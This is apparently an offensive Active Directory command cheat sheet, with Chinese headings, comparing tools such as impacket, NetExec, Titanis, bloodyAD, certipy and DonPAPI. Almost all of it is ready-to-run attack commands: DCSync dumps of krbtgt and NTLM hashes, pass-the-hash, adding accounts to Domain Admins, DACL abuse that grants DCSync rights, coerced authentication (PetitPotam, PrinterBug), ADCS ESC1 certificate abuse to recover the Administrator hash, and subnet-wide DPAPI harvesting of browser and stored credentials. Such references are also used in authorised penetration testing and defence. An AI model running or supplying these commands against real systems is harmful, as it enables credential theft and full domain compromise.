# Metasploit — restrict to specific users
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.1 smbdomain=DOMAIN \
  smbuser=Administrator smbpass=Password123 action=DOMAIN krb_users=krbtgt

# impacket — full NTLM dump
secretsdump.py DOMAIN/Administrator:[email protected] -just-dc-ntlm

# impacket — pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -just-dc-ntlm

# impacket — single account
secretsdump.py DOMAIN/Administrator:[email protected] \
  -just-dc-user DOMAIN/krbtgt

# NetExec
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds --user krbtgt

# NetExec — pass-the-hash
netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --ntds

# gopacket — DCSync full NTLM dump
secretsdump -just-dc-ntlm DOMAIN/Administrator:[email protected]
# gopacket — DCSync pass-the-hash
secretsdump -just-dc-ntlm -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — DCSync single user
secretsdump -just-dc-user DOMAIN/krbtgt DOMAIN/Administrator:[email protected]

# Titanis — all objects, all credential fields
Dsrep rep -UserName Administrator@DOMAIN -Password 'Password123' dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — single user
Dsrep rep -UserName Administrator@DOMAIN -Password 'Password123' dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List krbtgt

# Titanis — pass-the-hash
Dsrep rep -UserName Administrator -UserDomain DOMAIN \
  -NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — Kerberos (use DC hostname; -Kdc obtains TGT inline)
Dsrep rep -UserName Administrator -UserDomain DOMAIN -Password 'Password123' \
  -Kdc 192.168.1.1 dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — enumerate DCs first
Dsrep dcinfo -UserName Administrator@DOMAIN -Password 'Password123' 192.168.1.1

[↑ 返回索引](#index)

---

### 枚举组 / 本地别名```bash
# impacket — enumerate domain groups
net.py DOMAIN/jdoe:[email protected] group

# impacket — enumerate local aliases (BUILTIN groups) on a host
net.py DOMAIN/jdoe:[email protected] localgroup

# impacket — add/remove a user from a domain group
net.py DOMAIN/admin:[email protected] group -name "Domain Admins" -join newuser
net.py DOMAIN/admin:[email protected] group -name "Domain Admins" -unjoin newuser

# impacket — add/remove from a local alias (e.g. local Administrators)
net.py DOMAIN/admin:[email protected] localgroup -name Administrators -join newuser
net.py DOMAIN/admin:[email protected] localgroup -name Administrators -unjoin newuser

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --groups --local-groups

# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumdomgroups"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumalsgroups builtin"

# msldap
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> adinfo

# bloodyAD — domain groups
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \
  --filter "(objectClass=group)" --attr sAMAccountName,description,member

# Titanis
Sam enumgroups  192.168.1.10 -UserName jdoe -Password Password123
Sam enumaliases 192.168.1.10 -UserName jdoe -Password Password123

# gopacket — enumerate domain groups
net DOMAIN/jdoe:[email protected] group
# gopacket — enumerate local aliases
net DOMAIN/jdoe:[email protected] localgroup
# gopacket — list members of a specific group
net DOMAIN/jdoe:[email protected] group -name "Domain Admins"
net DOMAIN/jdoe:[email protected] localgroup -name Administrators
# gopacket — add/remove user from a domain group
net DOMAIN/admin:[email protected] group -name "Domain Admins" -join newuser
net DOMAIN/admin:[email protected] group -name "Domain Admins" -unjoin newuser
# gopacket — pass-the-hash
net -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] group

[↑ 返回索引](#index)

---

### 枚举 RPC 端点```bash
# impacket
rpcdump.py DOMAIN/jdoe:[email protected]
rpcmap.py ncacn_ip_tcp:192.168.1.10

# Titanis
Epm lsep 192.168.1.10

# gopacket — RPC endpoint mapper dump (password)
rpcdump DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
rpcdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — rpcmap (unauthenticated TCP endpoint enumeration)
rpcmap ncacn_ip_tcp:192.168.1.10

[↑ 返回索引](#index)

---

### WMI 方法调用```bash
# impacket — exec-based workaround only
wmiexec.py DOMAIN/jdoe:[email protected] "calc.exe"

# Titanis — invoke any WMI method directly
Wmi invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  Win32_Process Create "calc.exe"

[↑ 返回索引](#index)

---

### 注册表项安全描述符```bash
# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "regetkeysecurity HKLM\\SAM"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "regsetsecurity HKLM\\SAM <SDDL>"

# Titanis
Reg getsd 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 HKLM/SAM
Reg setsd 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  HKLM/SAM "O:BAG:SYD:(A;;KA;;;SY)"

[↑ 返回索引](#index)

---

### LSA 权限管理```bash
# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 \
  -c "lsaaddprivs S-1-5-21-...-1001 SeDebugPrivilege"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 \
  -c "lsadelprivs S-1-5-21-...-1001 SeDebugPrivilege"

# bloodyAD — no userRight subcommand; use rpcclient or Titanis for LSA privilege assignment

# Titanis
# ⚠️ Three requirements:
#   1. -PreferSmb required when targeting Domain Controllers (not needed for member servers)
#   2. -BySid required; -ByName is broken (LsaLookupNames always returns STATUS_OBJECT_NAME_NOT_FOUND)
#   3. Target account must have an existing LSA policy entry — run createaccount first if not
#
# Get SID first (impacket): lookupsid.py 'DOMAIN/admin:Pass@dc-ip' | grep <username>
#
# Step 1 — create LSA account entry if target has no existing explicit rights
Lsa createaccount 192.168.1.10 S-1-5-21-...-1001 \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -PreferSmb
# Step 2 — add/remove privilege
Lsa addpriv  192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 SeDebugPrivilege -PreferSmb
Lsa rmpriv   192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 SeDebugPrivilege -PreferSmb
Lsa setsysaccess 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 0x20 -PreferSmb

[↑ 返回索引](#index)

---

## 6. Active Directory / LDAP

### 枚举 AD 用户 / 计算机```bash
# impacket
GetADUsers.py    -all -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123
GetADComputers.py     -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --users
netexec ldap 192.168.1.1 -u jdoe -p Password123 --computers

# bloodyAD
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search --filter "(objectClass=user)" --attr sAMAccountName,userPrincipalName,userAccountControl
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search --filter "(objectClass=computer)" --attr sAMAccountName,dNSHostName,operatingSystem

# msldap — password
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> adinfo

# msldap — pass-the-hash
msldap "ldap+ntlm-nt://DOMAIN\jdoe:[email protected]"

# msldap — Kerberos ccache
msldap "ldap+kerberos+ccache://DOMAIN\jdoe:@dc01.domain.local/?dc=192.168.1.1&ccache=jdoe.ccache"

# msldap — via SOCKS5
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]/?proxytype=socks5&proxyhost=127.0.0.1&proxyport=1080"

# Titanis — use Ldap query (not Ldap search) with -FollowReferrals on Linux
# Linux notes:
#   - Use Ldap query, not Ldap search — Ldap search always probes RootDSE first, hits a referral,
#     and returns no records regardless of -SearchBase or -FollowReferrals
#   - -FollowReferrals required — without it, referral targets are printed as INFO and results are empty
#   - -OutputFields only accepts one field at a time on Linux; comma lists show header but no rows
#     Workaround: -OutputFields '*' -OutputStyle List and grep/parse
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=user)" -FollowReferrals
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=computer)" -FollowReferrals

# gopacket — enumerate AD users (requires -port 389)
GetADUsers -all -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — enumerate AD computers (requires -port 389)
GetADComputers -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
GetADUsers -all -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

[↑ 返回索引](#index)

---

### 查找委派配置```bash
# impacket
findDelegation.py -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --trusted-for-delegation

# bloodyAD — unconstrained delegation
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \
  --filter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" --attr sAMAccountName,userAccountControl

# msldap
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> unconstrained

# Titanis — unconstrained
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=TrustedForDelegation)" -OutputFields * -FollowReferrals

# Titanis — constrained
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(msDS-AllowedToDelegateTo=*)" -OutputFields * -FollowReferrals

# Titanis — S4U2self only
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=TrustedForS4U2self)" -OutputFields * -FollowReferrals

# gopacket — find all delegation types (requires -port 389)
findDelegation -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
findDelegation -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

[↑ 返回索引](#index)

---

### 添加用户账户```bash
# impacket — net.py does NOT support user -add; use bloodyAD or netexec instead
# (net.py only supports user -list, -enable, -disable; creation via SAMR is not implemented)

# bloodyAD — password
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 add user newuser Password123!

# bloodyAD — pass-the-hash
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  add user newuser Password123!

# net rpc (Samba)
net rpc user add newuser Password123! -U DOMAIN/jdoe%Password123 -S 192.168.1.10

# Titanis
Ldap adduser 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 newuser Password123!

[↑ 返回索引](#index)

---

### DACL 滥用

> **Titanis 状态：** 无 ACE-write 能力。`bloodyAD` 是首选的非 impacket 方案。`dacledit.py` / `owneredit.py` 是 impacket 的备选方案。```bash
# bloodyAD — grant GenericAll
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass \
  add genericAll "CN=targetuser,CN=Users,DC=domain,DC=local" jdoe

# bloodyAD — grant DCSync rights
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass add dcsync jdoe

# bloodyAD — change owner
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass set owner targetuser jdoe

# bloodyAD — cleanup
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass \
  remove genericAll "CN=targetuser,CN=Users,DC=domain,DC=local" jdoe

# dacledit.py — grant DCSync
dacledit.py -action write -rights DCSync \
  -principal jdoe -target-dn "DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# dacledit.py — grant GenericAll
dacledit.py -action write -rights FullControl \
  -principal jdoe -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# owneredit.py — change owner
owneredit.py -action write -new-owner jdoe \
  -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# gopacket — dacledit: read DACL on an object (requires -port 389)
dacledit -action read -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — dacledit: grant DCSync rights
dacledit -action write -rights DCSync \
  -principal jdoe -target-dn "DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — dacledit: grant FullControl
dacledit -action write -rights FullControl \
  -principal jdoe -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — owneredit: change owner (requires -port 389)
owneredit -action write -new-owner jdoe \
  -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]

# Titanis — post-exploitation after ACE grant (force password reset)
Kerb setpw -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1 -Password jdoePass \
  targetuser@DOMAIN NewPass123

[↑ 返回索引](#index)

---

## 7. 强制认证

> 将强制（coerce）环节与 `ntlmrelayx` 或 Responder 配合使用，以完成中继（relay）环节。Titanis 的 `credcoerce` 仅覆盖 MS-EFSR。```bash
# MS-EFSR — single technique
CredCoerce 192.168.1.10 \\<listener-ip>\share \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -Techniques Efs.OpenFile

# MS-EFSR — multiple techniques
CredCoerce 192.168.1.10 \\<listener-ip>\share \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -Techniques Efs.OpenFile,Efs.EncryptFile,Efs.DecryptFile,\
  Efs.QueryUsersOnFile,Efs.QueryRecoveryAgents,Efs.FileKeyInfo,\
  Efs.DuplicateEncryptionInfoFile

# MS-RPRN (PrinterBug) — no Titanis equivalent
printerbug.py DOMAIN/jdoe:[email protected] <listener-ip>

# NetExec — coerce_plus covers all methods (PetitPotam, PrinterBug, DFSCoerce, ShadowCoerce, MSEven)
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip>
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip> METHOD=PrinterBug
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip> METHOD=PetitPotam

# MS-DFSNM (DFSCoerce) — no Titanis equivalent
python3 dfscoerce.py -d DOMAIN -u jdoe -p Password123 <listener-ip> 192.168.1.10

# MS-FSRVP (ShadowCoerce) — no Titanis equivalent
python3 shadowcoerce.py -d DOMAIN -u jdoe -p Password123 <listener-ip> 192.168.1.10

[↑ 返回索引](#index)

---

## 8. 证书

> **gopacket 状态：** 没有 ADCS 工具。使用 certipy、Titanis `Cert` 或 impacket 进行所有证书操作。

### 自签名 PFX 生成```bash
# certipy — Golden Certificate from compromised CA key (requires -ca-pfx)
# Note: certipy forge cannot produce a self-signed cert without the CA private key;
#       for Shadow Credentials use certipy shadow or impacket's pyWhisker instead

# certipy — Golden Certificate from compromised CA key
certipy forge -upn Administrator@DOMAIN -ca-pfx ca.pfx -out admin.pfx

# openssl — generic PKI (not trusted by AD for PKINIT without NTAuth enrollment)
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes \
  -subj "/CN=jdoe"
openssl pkcs12 -export -out jdoe.pfx -inkey key.pem -in cert.pem -passout pass:Password123

# Titanis — works in interactive sessions (RDP/console); may fail in non-interactive sessions
Cert selfcert -Subject CN=jdoe -PfxFileName jdoe.pfx

[↑ 返回索引](#index)

---

### ADCS ESC1 — 注册并恢复 NT 哈希```bash
# Step 1 — enumerate vulnerable templates
certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -p Password123 -vulnerable -stdout

# Step 2a — request certificate with arbitrary UPN (certipy, HTTP/RPC enrollment)
certipy req -username jdoe@DOMAIN -password Password123 \
  -ca CA-NAME -template VulnerableTemplate \
  -upn [email protected] \
  -target ca.domain.local -out admin

# Step 2b — request certificate via SMB (aiosmb asmbcertreq — works when HTTP enrollment is firewalled)
asmbcertreq "smb+ntlm-password://DOMAIN\jdoe:[email protected]" \
  -ca "CA-NAME" -template "VulnerableTemplate" -upn "[email protected]" -out admin.pfx

# aiosmb — pass-the-hash
asmbcertreq "smb+ntlm-nt://DOMAIN\jdoe:[email protected]" \
  -ca "CA-NAME" -template "VulnerableTemplate" -upn "[email protected]" -out admin.pfx

# Step 3a — certipy: recover NT hash + TGT
certipy auth -pfx admin.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL

# Step 3b — minikerberos: recover NT hash only
minikerberos-getNTPKInit \
  "kerberos+pfx://DOMAIN\Administrator:@192.168.1.1?pfx=admin.pfx" admin_nt.txt

# Step 4 — Titanis PTH with recovered hash (use IP for Wmi exec; FQDNs fail at WMI DCOM activation)
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> "whoami"
Smb2Client ls \\dc01.domain.local\C$ -UserName Administrator -UserDomain DOMAIN \
  -NtlmHash <recovered_nt>
Reg dumpsam 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> -BackupSemantics

[↑ 返回索引](#index)

---

### DPAPI 域备份密钥 — 大规模凭据解密

> DPAPI 域备份密钥是保存在 DC 上的域级机密，可解密每个用户的 DPAPI 主密钥——进而解密域内所有受 DPAPI 保护的 blob：Chrome/Edge/Firefox 密码、Windows 凭据管理器、证书、Wi-Fi 密钥、SCCM NAA 帐户、计划任务凭据等等。转储它需要 DA 权限，但一旦获得，除非显式轮换，该密钥将永久有效。对于存储在 DPAPI blob 中的机密，其凭据覆盖广度可与 NTDS 相媲美，并且由于产生的是明文密码而非哈希，因此通常更有利于横向移动。```bash
# Step 1 — dump the domain backup key (impacket)
dpapi.py backupkeys -t DOMAIN/Administrator:[email protected] --export
# Writes domain_backup.pvk to current directory

# Step 1 — impacket pass-the-hash
dpapi.py backupkeys -t DOMAIN/[email protected] --export \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

# Step 1 — gopacket (subcommand syntax: positional target after subcommand)
dpapi backupkeys 'DOMAIN/Administrator:[email protected]' --export
# gopacket — pass-the-hash
dpapi backupkeys 'DOMAIN/[email protected]' --export \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

# Step 1 — dump the domain backup key (NetExec; fetches automatically during --dpapi)
netexec smb 192.168.1.1 -u Administrator -p Password123 --dpapi

# Step 2a — dploot: decrypt master keys for all domain users using backup key
dploot masterkeys -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk -outputfile masterkeys.txt

# Step 2b — dploot: decrypt all credential manager blobs across domain
dploot credentials -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2c — dploot: decrypt browser-stored passwords (Chrome, Edge, Firefox)
dploot browser -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2d — dploot: full triage (masterkeys + credentials + certificates + vaults)
dploot triage -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2e — dploot: SCCM NAA credentials and collection variables
dploot sccm -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2f — dploot: machine (SYSTEM scope) DPAPI secrets
dploot machinetriage -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1

# dploot — pass-the-hash
dploot triage -d DOMAIN -u Administrator \
  -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -t 192.168.1.1 --pvk domain_backup.pvk

# NetExec — DPAPI dump across subnet (fetches backup key automatically)
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi cookies
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi nosystem

# DonPAPI — comprehensive remote DPAPI harvest across subnet in one pass
# (auto-fetches backup key, decrypts masterkeys, dumps all DPAPI-protected secrets)
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --fetch-pvk

# DonPAPI — supply existing backup key (quieter; avoids re-dumping from DC)
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --pvkfile domain_backup.pvk

# DonPAPI — targeted collectors only
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --collectors SCCM,Certificates,Wifi,CredMan